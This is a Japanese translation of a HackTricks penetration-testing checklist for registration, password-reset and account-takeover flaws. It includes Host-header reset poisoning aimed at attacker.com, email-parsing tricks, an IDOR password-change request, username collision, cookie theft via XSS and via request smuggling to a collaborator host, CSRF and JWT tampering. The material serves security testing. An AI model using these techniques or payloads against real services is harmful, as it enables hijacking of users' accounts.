Registration & Takeover Vulnerabilities
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
登録乗っ取り
重複登録
既存のユーザー名を使用して生成を試みる
メールアドレスを変えて確認する:
大文字
+1@
メールにドットを追加する
メール名に特殊文字を含める (%00, %09, %20)
メールの後に黒い文字を入れる:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
ユーザー名列挙
アプリケーション内でユーザー名がすでに登録されているかどうかを確認できるかチェックする。
パスワードポリシー
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。 その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
SQLインジェクション
このページを確認して、アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶ。
Oauth乗っ取り
OAuth to Account takeoverSAML脆弱性
SAML Attacksメール変更
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
その他のチェック
使い捨てメールを使用できるか確認する
長い パスワード (>200) は DoS を引き起こす
アカウント作成のレート制限を確認する
username@burp_collab.netを使用し、コールバックを分析する
パスワードリセット乗っ取り
リファラー経由のパスワードリセットトークン漏洩
自分のメールアドレスにパスワードリセットをリクエストする
パスワードリセットリンクをクリックする
パスワードを変更しない
任意の3rdパーティのウェブサイト(例:Facebook、Twitter)をクリックする
Burp Suiteプロキシでリクエストを傍受する
リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。
パスワードリセットポイズニング
Burp Suiteでパスワードリセットリクエストを傍受する
Burp Suiteで次のヘッダーを追加または編集する:
Host: attacker.com
,X-Forwarded-Host: attacker.com
修正されたヘッダーでリクエストを転送する
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
_hostヘッダー_に基づいてパスワードリセットURLを探す:
https://attacker.com/reset-password.php?token=TOKEN
メールパラメータ経由のパスワードリセット
IDOR on API Parameters
攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります。
Burp Suiteを起動し、リクエストをインターセプトします。
リピータタブに送信し、パラメータを編集します:ユーザーID/メール
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。 トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
タイムスタンプ
ユーザーID
ユーザーのメール
名と姓
生年月日
暗号化
数字のみ
小さなトークンシーケンス(文字は[A-Z,a-z,0-9]の間)
トークンの再利用
トークンの有効期限
Leaking Password Reset Token
特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。
サーバーの応答を検査し、
resetToken
を確認します。次に、トークンをURLに使用します:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:
"admin "
悪意のあるユーザー名でパスワードリセットをリクエストします。
あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
新しいパスワードで被害者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。 参照:CVE-2020-7245
Account Takeover Via Cross Site Scripting
アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:
*.domain.com
現在のセッションクッキーを漏洩させます。
クッキーを使用してユーザーとして認証します。
Account Takeover Via HTTP Request Smuggling
1. smugglerを使用してHTTPリクエストスムグリングのタイプ(CL、TE、CL.TE)を検出します。
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 次のデータでPOST / HTTP/1.1
を上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X:
被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。
3. 最終リクエストは次のようになります。
Hackeroneはこのバグを悪用した報告をしています * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
CSRFによるアカウント乗っ取り
CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
ペイロードを送信します
JWTによるアカウント乗っ取り
JSON Web Tokenはユーザーを認証するために使用されることがあります。
別のユーザーID / メールでJWTを編集します
弱いJWT署名を確認します
参考文献
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated